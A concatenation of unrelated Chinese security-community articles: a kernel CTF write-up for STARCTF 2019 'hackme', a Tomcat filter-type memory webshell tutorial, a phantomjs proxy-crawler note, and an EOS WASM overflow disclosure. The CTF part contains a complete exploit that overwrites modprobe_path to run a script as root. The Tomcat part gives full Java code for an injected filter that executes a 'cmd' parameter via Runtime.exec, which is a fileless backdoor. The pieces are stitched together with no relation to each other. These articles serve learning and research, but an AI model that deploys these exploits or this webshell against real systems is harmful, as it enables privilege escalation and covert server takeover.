就是内存任意读写;通常这种类型的漏洞是由于越界读写或者错误引用了指针操作造成可以修改控制某个区域里面的指针,导致我们可以改变程序的常规读写区域甚至程序执行流程....
这里我是利用2019
STARCTF里面的hackeme来演示和学习这种漏洞的利用,其中环境和题目我放在[github](https://github.com/cc-sir/ctf-challenge/tree/master/2019%20STARCTF%20hackme)上面了.需要的话可以自行下载学习....
# 前置知识
## modprobe_path
modprobe_path指向了一个内核在运行未知文件类型时运行的二进制文件;当内核运行一个错误格式的文件的时候,会调用这个modprobe_path所指向的二进制文件去，如果我们将这个字符串指向我们的自己的二进制文件,那么在发生错误的时候就可以执行我们自己二进制文件了....
这里modprobe_path的地址可以通过cat直接查看到:
cat /proc/kallsyms | grep modprobe_path
原理代码如下,其实就是调用了`call_usermodehelper`函数:
int __request_module(bool wait, const char *fmt, ...)
{
va_list args;
char module_name[MODULE_NAME_LEN];
unsigned int max_modprobes;
int ret;
// char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
char *argv[] = { modprobe_path, "-q", "--", module_name, NULL };
static char *envp[] = { "HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL }; // 环境变量.
static atomic_t kmod_concurrent = ATOMIC_INIT(0);
#define MAX_KMOD_CONCURRENT 50 /* Completely arbitrary value - KAO */
static int kmod_loop_msg;
va_start(args, fmt);
ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);
if (ret >= MODULE_NAME_LEN)
return -ENAMETOOLONG;
max_modprobes = min(max_threads/2, MAX_KMOD_CONCURRENT);
atomic_inc(&kmod_concurrent);
if (atomic_read(&kmod_concurrent) > max_modprobes) {
/* We may be blaming an innocent here, but unlikely */
if (kmod_loop_msg++ < 5)
printk(KERN_ERR
"request_module: runaway loop modprobe %s\n",
module_name);
atomic_dec(&kmod_concurrent);
return -ENOMEM;
}
ret = call_usermodehelper(modprobe_path, argv, envp, // 执行用户空间的应用程序
wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
atomic_dec(&kmod_concurrent);
return ret;
}
## mod_tree
mod_tree是一块包含了模块指针的内存地址的内核地址,通过查看这个位置我们可以获取到ko文件的地址,在我们需要泄露模块基地址,但是在堆或栈中没有找到的时候可以查看这块内存区域:
grep mod_tree /proc/kallsyms
# 具体分析
首先我们看到这个hackme.ko文件开始传参大小为`0x20`:
通过分析我们得出ko文件通过一个数据结构heap作为交互接口:
struct heap{
size_t id;
size_t *data;
size_t len;
size_t offset;
};
程序主要有4个功能:读,写,删除和申请:
## cin_kernel
主要是通过用户输入的长度,从用户态中写相应长度的数据到内核;
## cout_kernel
从内核中读出相应长度的数据到用户态;
## delete
这个代码主要是删除pool中的内容;
## alloc
申请一块内存,地址和大小放在`pool`数组中;
所以整个程序的功能就是维护了一个全局数组`pool`,其第一个成员记录内核堆地址，第二个成员记录堆的大小，并且这个数组位于驱动的.bss段,这个我们可以通过gdb调试得出:
所以比较明显的漏洞点:在`cin_kernel`和`cout_kernel`功能中存在明显的越界问题,当我们的`offset`是负数的时候,`v17.offset
+ v17.len`就可以向上越界读写任意长度的内存;
# 思路
因为`slub`分配器的分配原理之前提过,和`fastbin`的原理比较像,所以我们可以通过越界读写把`pool`数组的位置申请下来,那么我们就可以控制`pool`数组,然后将数组上面的指针改为其他地方的地址,那么我们就可以实现任意地址读写了;
## 泄露内核地址
因为我们可以堆地址往上越界读取数据,所以在堆地址上面的地址中一定存在有内核地址,而我们发现往上面偏移`0x200`的位置就存在有内核地址:
很明显这是应该内核地址,所以我们可以得到内核基地址并且得到`mod_tree`的地址:
cout_kernel(0,mem,0x200,-0x200);
kernel_addr = *((size_t *)mem) - 0x8472c0;
mod_tree_addr = kernel_addr + 0x811000;
printf("[*]kernel_addr: 0x%16llx\n",kernel_addr);
printf("[*]mod_tree_add: 0x%16llx\n",mod_tree_addr);
## 泄露模块地址
根据`fastbin`的特点,我们知道`fd`指针指向下一次我们可以申请的地址,如果我们将`fd`指针修改了,我们就可以拿到我们想要的内存了,同理我们这里也是通过覆盖`fd`指针为`mod_tree`的地址,然后就可以查看`mod_tree`的内容然后就可以得到模块地址了:
覆盖`fd`指针的方法是先通过向上越访问就可以修改到`fd`指针,然后`alloc`两个块,就可以拿到`mod_tree`了:
memset(mem,'B',0x100);
*((size_t *)mem) = mod_tree_addr + 0x50;
cin_kernel(4,mem,0x100,-0x100);
memset(mem,'C',0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
cout_kernel(6,mem,0x40,-0x40);
ko_addr = *((size_t *)mem) - 0x2338;
需要注意的是不要把`mod_tree`地址开始的位置全部覆盖了,应该往下偏移一定的位置,不然我们就得不到模块基地址了,有了模块基地址后我们就可以得到`pool`的地址了,就可以利用同样的方法把`pool`申请下来,然后我们就有任意地址读写的能力了;
# Use Modprobe_path
通常我们有了任意地址读写能力后,我们可以通过修改`cred`结构体或者劫持`VDSO`来进行高权限的操作,但是这里我们使用一种比较有意思的方法来进行高权限的操作;
`modprobe_path`所指的位置通常是发生了错误的时候才调用的:
如果我们把这个位置换成我们最近的二进制文件,那么当发生错误的时候就会以`root`权限去运行我们二进制文件....
通常我们可以通过运行一个错误格式的二进制文件来触发调用`modprobe_path`的内容:
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
system("chmod +x /home/pwn/sir");
需要注意的是`system`里面的命令要程序的全路径，而不能是相对路径,`cp`命令要写成`/bin/cp`;
而修改`modprobe_path`内容的方法和泄露模块地址等用到的方法是一样的....
# exp
exp.c:
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
struct heap{
size_t id;
size_t *data;
size_t len;
size_t offset;
};
int fd;
void alloc(int id, char *data, size_t len){
struct heap h;
h.id = id;
h.data = data;
h.len = len;
ioctl(fd,0x30000,&h);
}
void delete(int id){
struct heap h;
h.id = id;
ioctl(fd,0x30001,&h);
}
void cin_kernel(int id, char *data, size_t len, size_t offset){
struct heap h;
h.id = id;
h.data = data;
h.len = len;
h.offset = offset;
ioctl(fd,0x30002,&h);
}
void cout_kernel(int id, char *data, size_t len, size_t offset){
struct heap h;
h.id = id;
h.data = data;
h.len = len;
h.offset = offset;
ioctl(fd,0x30003,&h);
}
int main(){
fd = open("/dev/hackme",0);
size_t heap_addr,kernel_addr,mod_tree_addr,ko_addr,pool_addr;
char *mem = malloc(0x1000);
if(fd < 0){
printf("[*]OPEN KO ERROR!\n");
exit(0);
}
memset(mem,'A',0x100);
alloc(0,mem,0x100);
alloc(1,mem,0x100);
alloc(2,mem,0x100);
alloc(3,mem,0x100);
alloc(4,mem,0x100);
delete(1);
delete(3);
cout_kernel(4,mem,0x100,-0x100);
heap_addr = *((size_t *)mem) - 0x100;
printf("[*]heap_addr: 0x%16llx\n",heap_addr);
cout_kernel(0,mem,0x200,-0x200);
kernel_addr = *((size_t *)mem) - 0x0472c0;
mod_tree_addr = kernel_addr + 0x011000;
printf("[*]kernel_addr: 0x%16llx\n",kernel_addr);
printf("[*]mod_tree_add: 0x%16llx\n",mod_tree_addr);
memset(mem,'B',0x100);
*((size_t *)mem) = mod_tree_addr + 0x50;
cin_kernel(4,mem,0x100,-0x100);
memset(mem,'C',0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
cout_kernel(6,mem,0x40,-0x40);
ko_addr = *((size_t *)mem) - 0x2338;
pool_addr = ko_addr + 0x2400;
printf("[*]ko_addr: 0x%16llx\n",ko_addr);
printf("[*]pool_addr: 0x%16llx\n",pool_addr);
delete(2);
delete(5);
memset(mem,'D',0x100);
*((size_t *)mem) = pool_addr + 0xc0;
cin_kernel(4,mem,0x100,-0x100);
alloc(7,mem,0x100);
alloc(8,mem,0x100);
*((size_t *)mem) = kernel_addr + 0x03f960;
*((size_t *)(mem+0x8)) = 0x100;
cin_kernel(8,mem,0x10,0);
strncpy(mem,"/home/pwn/copy.sh\0",18);
cin_kernel(0xc,mem,18,0);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
system("chmod +x /home/pwn/sir");
system("/home/pwn/sir");
system("cat /home/pwn/flag");
return 0;
}
编译:
gcc exp.c -o exp -w -static
运行:
# 总结
我不知道利用这种方法可不可以返回一个`shell`回来,我试过直接将`modprobe_path`改为`/bin/sh`去执行,但是不可以;不知道改为反弹shell会不会成功,因为我的环境运行有点问题,所以就没有测试,希望知道的师傅可以说一下.... | 社区文章 |
# Tomcat 内存马技术分析（一）—— Filter型
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
内存马技术早在前几年就已经在广泛使用，通俗的名字为不落地马或者无文件马。这种马的实现技术相对于传统马来说更为复杂，但是随着产品安全防护等级的不断提高，内存马技术也就运用而生。好在是这一块领域很多师傅都以已经趟过坑了，笔者站在巨人的肩膀上总结梳理内存马技术，打算出一个系列专题详细分析tomcat内存马的不同类型以及其内存马检测及查杀技术。
## 0x01 内存马种类
现有的内存马主要分为四个类型，Listener型、Filter型、Servlet型以及Agent型，不同类型的内存马涉及到的知识点也不太一样。在用户请求网站的时候,
前三个内存马的触发顺序为Listener -> Filter -> Servlet。
### 0x1 Listener型
一开始在学习Tomcat内存马技术的时候，对该Listener型内存木马有些生疏。Listener是Java
web中的监听器，不熟悉的小伙伴很容易将Listener理解成跟端口监听有关的功能模块，其实这里的监听指的是监测某个java对象成员变量或成员方法的变化，当被监听对象发生上述变化后，监听器某个方法将会被立即执行。Listener内存马是通过动态注册一个Listener，其监听到某个参数传入时，触发某个监听器方法，实现内存马功能。
### 0x2 Filter型
如上图所示Filter处在请求处理的关键位置，如果是写过Java
web的小伙伴，必然对Filter的配置有深刻的印象，一般在项目的web.xml中注册Filter来对某个Servlet程序进行拦截处理。这个注册的Filter就变成了客户端访问和最终负责请求数据处理之间的必经之路，如果我们对Filter中的内容进行修改，就可以实现请求数据预处理。
### 0x3 Servlet型
Servlet在Java
web开发和安全审计中最常用到的名词，Servlet一般与访问路由对应。Servlet的生命周期在Web容器启动的时候就开始了，当Context获得请求时，将在自己的映射表中寻找相匹配的Servlet类。Servlet型的核心原理是注册一个恶意的Servlet，并把Servlet与相对应的URL绑定。
## 0x02 Tomcat 架构分析
内存马的学习过程其实和反序列化很相似，如果会使用内存马很简单，但是要知道如何构造就需要很多前置知识。这就好比在学反序列化时要学习反射和动态代理等java的特性。那么在学习Tomcat内存马的时候就需要掌握Tomcat相关架构特性。
### 0x1 简介
Tomcat是一个免费的开放源代码的Servlet容器，Tomcat 容器是对 Servlet 规范的实现，也称为 Servlet
引擎。Tomcat为了更好的处理来自客户端的请求，设计了一套功能完善的处理引擎，其中包括了Container、Engine、Host、Context、Wrapper等模块功能。笔者重点分析他们之间的关联关系及架构组成。
### 0x2 架构组成
从上图可以粗略的分析出他们之间的层级调用关系。
* Server：表示整个 Tomcat Catalina servlet 容器，Server 中可以有多个 Service。
* Service：表示Connector和Engine的组合，对外提供服务，Service可以包含多个Connector和一个Engine。
* Connector：为Tomcat Engine的连接组件，支持三种协议：HTTP/1.1、HTTP/2.0、AJP。
* Container：负责封装和管理Servlet 处理用户的servlet请求，把socket数据封装成Request，传递给Engine来处理。
* Engine：顶级容器，不能被其他容器包含，它接受处理连接器的所有请求，并将响应返回相应的连接器，子容器通常是 Host 或 Context。
* Host：表示一个虚拟主机，包含主机名称和IP地址，这里默认是localhost，父容器是 Engine，子容器是 Context。
* Context：表示一个 Web 应用程序，是 Servlet、Filter 的父容器。
* Wrapper：表示一个 Servlet，它负责管理 Servlet 的生命周期，并提供了方便的机制使用拦截器。
### 0x3 关联关系
、
从一次服务访问请求探究他们之间的组成关系，如上图所示，配置了HTTP和Ajp两个对外开放端口，同时对应了两个Connector分别负责请求数据包的封包、处理、转发工作，该过程如下图Connector中显示的操作流程。Connector将解析好的Request对象传递给Container，Container
使用Pipeline-Valve管道来处理请求，如下图Pipeline请求流程。直到WrapperValve创建并调用ApplicationFilterChain，最后调用Servlet执行路由处理。
### 0x4 Connector
Connector是Tomcat中的连接器，在Tomcat启动时它将监听配置文件中配置的服务端口，从端口中接受数据，并封装成Request对象传递给Container组件，如下图所示：
tomcat 中 ProtocolHandler 的默认实现类是
Http11NioProtocol，在高版本tomcat中Http11Nio2Protocol也是其中的一个实现类。
ProtocolHandler来处理网络连接和应用层协议，包含两个重要组件：endpoint和processor，endpoint是通信端点，即通信监听的接口，是具体的socket接受和发送处理器，是对传输层的抽象，processor接受来自endpoint的socket，读取字节流解析成Tomcat的request和response对象，并通过adapter将其提交到容器处理，processor是对应用层协议的抽象。总结如下：
* endpoint：处理来自客户端的连接请求。
* processor：接受来自endpoint的socket，读取字节流解析成Tomcat的request和response对象。
* adapter：将封装好的request转交给Container处理，连接Connector和Container。
### 0x5 Container
在Tomcat中，容器（Container）主要包括四种，Engine、Host、Context和Wrapper。也就是这个图中包含的四个子容器。由下图可以看出，Container在处理请求时使用的Pipeline管道，Pipeline
是一个很常用的处理模型，和 FilterChain 大同小异，都是责任链模式的实现，Pipeline 内部有多个 Valve，这些 Valve
因栈的特性都有机会处理请求和响应。上层的Valve会调用下层容器管道，一步一步执行到FilterChain过滤链。
### 0x6 Context
servletContext负责的是servlet运行环境上下信息，不关心session管理，cookie管理，servlet的加载，servlet的选择问题，请求信息，主要负责servlet的管理。
StandardContext主要负责管理session，Cookie，Servlet的加载和卸载，负责请求信息的处理，掌握控制权。ServletContext主要是适配Servlet规范，StandardContext是tomcat的一种容器，当然两者存在相互对应的关系。
在Tomcat中对应的ServletContext实现是ApplicationContext。Tomcat惯用Facade方式，因此在web应用程序中获取到的ServletContext实例实际上是一个ApplicationContextFacade对象，对ApplicationContext实例进行了封装。而ApplicationContext实例中含有Tomcat的Context容器实例（StandardContext实例，也就是在server.xml中配置的Context节点），以此来获取/操作Tomcat容器内部的一些信息，例如获取/注册servlet等。Filter内存马的实现也是基于此知识点获取到了存储在StandardContext中的filterConfigs
HashMap结构。
## 0x03 环境搭建
采用简单的Spring-boot可以快速搭建web项目，并且使用Spring内置的轻量级Tomcat服务，虽然该Tomcat阉割了很多功能，但是基本够用。整个demo放在了github上，地址为<https://github.com/BabyTeam1024/TomcatResponseLearn>
### 0x1 创建项目
选择Spring Initializr
### 0x2 添加代码
在项目的package中创建controller文件夹，并编写TestController类
package com.example.tomcatresponselearn.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
@RequestMapping("/app")
public class TestController {
@RequestMapping("/test")
@ResponseBody
public String testDemo(String input, HttpServletResponse response) throws IOException {
return "Hello World!";
}
}
正常在编写Spring-boot代码的时候是不需要在testDemo函数中添加调用参数的。这里为了方便查看Response对象，因此在该函数上添加了HttpServletResponse。
### 0x3 添加Maven地址
在ubuntu上搭建环境的时候遇到了依赖包下载失败的情况。
添加如下仓库地址即可解决问题
https://repo.maven.apache.org/maven2
## 0x04 Filter内存马
### 0x1 Tomcat 加载注册Filter
在StandardContext类中的startInternal方法里可以看到这样的加载顺序
先启动listener，再者是Filter，最后是Servlet。详细分析filterStart中是如何加载Filter链的，相关代码如下图所示：
首先通过遍历从filterDefs中获取key和value，将value封装为ApplicationFilterConfig对象放入filterConfigs变量中。
笔者为了研究Tomcat在启动时是如何将Filter添加到FilterMap中的，于是在StandardContext类的add方法中下了断点，如下图所示：
根据调用栈可以溯源Tomcat是如何加载这些filter的，如下图所示：
根据该调用栈可以发现Tomcat是通过addMappingForUrlPatterns实现Filter加载，该部分代码如下图所示：
servletContext.addFilter中的实现逻辑如下
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
this.context.addFilterDef(filterDef);
在addFilter函数的最后创建并返回了ApplicationFilterRegistration对象，并通过addMappingForUrlPatterns方法注册路由，相关实现逻辑如下：
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
filterMap.setDispatcher(dispatcherType.name());
filterMap.addURLPattern(urlPattern);
this.context.addFilterMapBefore(filterMap);
其中涉及到了三个比较重要的变量：
* filterDefs：包含过滤器实例和名称
* filterMaps：包含所有过滤器的URL映射关系
* filterConfigs：包含所有与过滤器对应的filterDef信息及过滤器实例
### 0x2 动态添加Filter
根据Tomcat注册Filter的操作，可以大概得到如何动态添加一个Filter
* 获取standardContext
* 创建Filter
* 使用filterDef封装Filter对象，将filterDef添加到filterDefs
* 创建filterMap，将URL和filter进行绑定，添加到filterMaps中
* 使用ApplicationFilterConfig封装filterDef对象，添加到filterConfigs中
通过分析得到动态添加Filter只需5个步骤，下面笔者将根据Tomcat注册Filter的操作，通过反射操作实现动态添加Filter。
**1\. 获取standardContext**
获取standardContext多种多样，StandardContext主要负责管理session，Cookie，Servlet的加载和卸载。因此在Tomcat中的很多地方都有保存。如果我们能够直接获取request的时候，可以使用以下方法直接获取context。
Tomcat在启动时会为每个Context都创建个ServletContext对象，表示一个Context。从而可以将ServletContext转化为StandardContext。
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
获取到standardContext就可以很方便的将其他对象添加在Tomcat Context中。
**2\. 创建Filter**
直接在代码中实现Filter实例，需要重写三个重要方法，init、doFilter、destory，如下面代码所示：
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
在doFilter方法中实现命令执行回显功能。
**3\. 创建filterDef封装Filter对象**
为了之后将内存马融合进反序列化payload中，这里特意使用反射获取FilterDef对象。如果使用的是jsp或者是非反序列化的利用，那么可以直接使用new创建对象。
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
setFilter方法将自己创建的Filter绑定在FilterDef中，setFilterName设置的是Filter的名称，最后把FilterDef添加在standardContext的FilterDefs变量中。
**4\. 创建filterMap绑定URL**
通过反射创建FilterMap实例，该部分代码主要是注册filter的生效路由，并将FilterMap对象添加在standardContext中FilterMaps变量的第一个。
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());//只支持 Tomcat 7.x 以上
standardContext.addFilterMapBefore(o1);
**5\. 获取filterConfigs变量，并向其中添加filterConfig对象**
首先获取在standardContext中存储的filterConfigs变量。
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
之后通过反射生成ApplicationFilterConfig对象，并将其放入filterConfigs hashMap中。
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
### 0x3 完整代码
完整代码主要参照了nice_0e3师傅的文章，在最后结果输出的时候要注意如果有两次response结果需要将第一次的Writer flush
掉，避免在后台报错。
Field Configs = null;
Map filterConfigs;
try {
//Step 1
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
//Step 2
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//Step 3
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//Step 4
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//Step 5
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
## 0x05 总结
本文主要学习了Tomcat架构组成及各模块组件之间的关联关系，重点分析Connector、Container和Context在整个数据请求处理过程中发挥的作用。通过梳理Tomcat在启动过程中FilterChain的注册流程，分析清楚如何动态注册加载自己设计的Filter对象。之后的文章将继续分析Tomcat内存马Listener、Servlet等实现技术以及各种查杀技术，最后感谢各位师傅关于内存马知识的总结分享。
## 参考文章
<https://blog.szfszf.top/article/49/>
<https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell/>
<https://paper.seebug.org/1441/#1jsp-webshell>
<https://blog.csdn.net/littlewhitevg/article/details/107671946>
<https://www.cnblogs.com/chuonye/p/10770984.html> | 社区文章 |
# 【技术分享】爬虫-化被动为主动
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[ **二三五**](http://bobao.360.cn/member/contribute?uid=2659167669)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
现在网上有很多被动式扫描器，配置一个代理给浏览器设置，然后人去点击浏览器上的网页，在这种模式下抓到的URL数量没有用爬虫的效果好。
我个人是比较懒的，先也写了个被动的扫描器，不想改以前写的东西，而且被动也有被动的优点，所以就想可不可以让爬虫也设置个代理。就有了下面的东西，很方便。
**
**
**实操**
如何在不改变原被动扫描器的情况下让被动变成主动。
**主结构** ：
以phantomjs为核心，用JS模仿人对页面的操作，代理软件抓链接。以下流程是通用pychon脚本实现的。
1打开浏览器并设置代理->2输入网址->3填充表单->4点击按钮->5点击超链拉->6关闭标签->7关闭浏览器，循环2-6。
打开浏览器并设置代理
proxy_config = [
'--proxy=127.0.0.1:8080',
'--proxy-type=http',
'--ignore-ssl-errors=yes',
]
phantomjs_path='/home/ubuntu_235/proxyscan/phantomjs/phantomjs/bin/phantomjs'
driver = webdriver.PhantomJS(executable_path=phantomjs_path,service_args=sys_config)
输入网址
driver.get('http://demo.aisec.cn')
填充表单
_input_text = """
var input_list=document.getElementsByTagName("input");
for (i_i=0;i_i<input_list.length;i_i++){
var input_type=input_list[i_i].attributes["type"].value
if (input_type == "text" || input_type == "password"){
input_list[i_i].value="[email protected]";
continue;
}
if (input_type == "radio" || input_type == "checkbox"){
input_list[i_i].setAttribute('target','_blank');
input_list[i_i].checked="True";
}
}
"""
点击按钮
_but_click = """
var but_list=document.getElementsByTagName("input");
for (b_i=0;b_i<but_list.length;b_i++){
var but_type=but_list[b_i].attributes["type"].value
if (but_type == "button" || but_type == "submit"){
but_list[b_i].setAttribute('target','_blank');
but_list[b_i].click();
}
}
"""
点击超链接
_a_click = """
var a_list=document.getElementsByTagName("a");
for (a_i=0;a_i<a_list.length;a_i++){
a_list[a_i].setAttribute('target','_blank');
a_list[a_i].click();
}
"""
这里注意下，我在click前给标签加了一个target=”_blank”,在新的标签页打开链接
关闭标签
for h in driver.window_handles[1:]:
driver.switch_to_window(h)
driver.close()
注意：应该先获取有标签页的handle在用switch_to_window
切换到该标签页，执行quit()操作。driver.window_handles[1:]保留的是第一个页面。
在完成所有操作后关闭浏览器
driver.close()
通过burpsuite抓到的请求包
最终实现的结果展示
一些注意点：
如何获取当前页面的所有<a>标签的href？
url_list=[]
a_list=self.driver.find_elements_by_xpath("//a[@href]")
for a in a_list:
url_list.append(a.get_attribute("href"))
print(url_list)
如何获取当前标签的URL？
driver.current_url
有什么坑？
a.浏览器打页面要时间，但python不知道(不是真不知道)
b.会不明原因的卡死，没有报错
c.页面跳转 | 社区文章 |
# EOS节点远程执行代码漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞报告者
Yuki Chen of Qihoo 360 Vulcan Team
Zhiniang Peng of Qihoo 360 Core Security
## 漏洞描述
我们发现了EOS区块链系统在解析智能合约WASM文件时的一个越界写缓冲区溢出漏洞，并验证了该漏洞的完整攻击链。
使用该漏洞，攻击者可以上传恶意的智能合约至节点服务器，在节点服务器解析恶意合约后，攻击者就能够在节点服务器上执行任意代码并完全控制服务器。
在控制节点服务器后，攻击者可以将恶意合约打包进新的区块，进而攻击和控制其他新的节点，最终攻击和控制整个EOS网络。
## 漏洞报告时间线
2018-5-11 发现EOS越界写缓冲区溢出漏洞
2018-5-28 测试开发了完整攻破EOS超级节点的漏洞验证程序
2018-5-28 将漏洞细节报告给厂商
2018-5-29 厂商在Github托管代码库中修复漏洞，并关闭问题跟踪项
2018-5-29 提醒厂商漏洞未完全修复
一些在Telegram上与Daniel Larimer的沟通细节：
我们尝试和Daniel沟通并报告漏洞，Daniel回应我们在没有修复漏洞情况下不会发布新版EOS，同时请求我们在有人公开测试漏洞前，先将漏洞报告提交给他。
[](http://blogs.360.cn/wp-content/uploads/2018/05/001.jpg)
Daniel给了我们一个官方的邮件地址，让我们以邮件形式提交漏洞报告。
[](http://blogs.360.cn/wp-content/uploads/2018/05/002.jpg)[](http://blogs.360.cn/wp-content/uploads/2018/05/004.jpg)
最后Daniel承诺在EOS的漏洞修复后，将给予我们公开致谢。
[](http://blogs.360.cn/wp-content/uploads/2018/05/003.jpg)
##
## 漏洞细节
这是一个缓冲区溢出越界写漏洞
漏洞存在于在 libraries/chain/webassembly/binaryen.cpp文件的78行,
Function binaryen_runtime::instantiate_module:
for (auto& segment : module->table.segments) {
Address offset =
ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
assert(offset + segment.data.size() <= module->table.initial);
for (size_t i = 0; i != segment.data.size(); ++i) {
table[offset + i] = segment.data[i]; **< = OOB write here !**
}
}
这里的table是一个std :: vector包含在函数表中的名称，在将元素存储到table中时，|offset|
字段没有被正确检查。注意在设置该值之前是有一个assert 断言的，它会检查偏移量，但不幸的是assert 仅适用于Debug版本，不适用于发布版本。
table.resize(module->table.initial);
|module->table.initial| 这个代码片段读取的值是根据函数表声明，在WASM文件中的读取的，该字段的有效值为0〜1024。
|offset| 字段的值是根据数据段从WASM文件中读取的，它是一个带符号的32位值。
所以通过这个漏洞，我们可以在table向量之后的内存，越界写入一定范围的内容。
## 重现漏洞过程
1. **编译最新的EOS代码release版本**
`./eosio-build.sh`
2. **启动EOS节点Start EOS node, 完成如下所有必要的配置**
<https://github.com/EOSIO/eos/wiki/Tutorial-Getting-Started-With-Contracts>
3. **设置一个漏洞合约**
我们提供了一个会造成程序崩溃的WASM漏洞验证文件（POC）
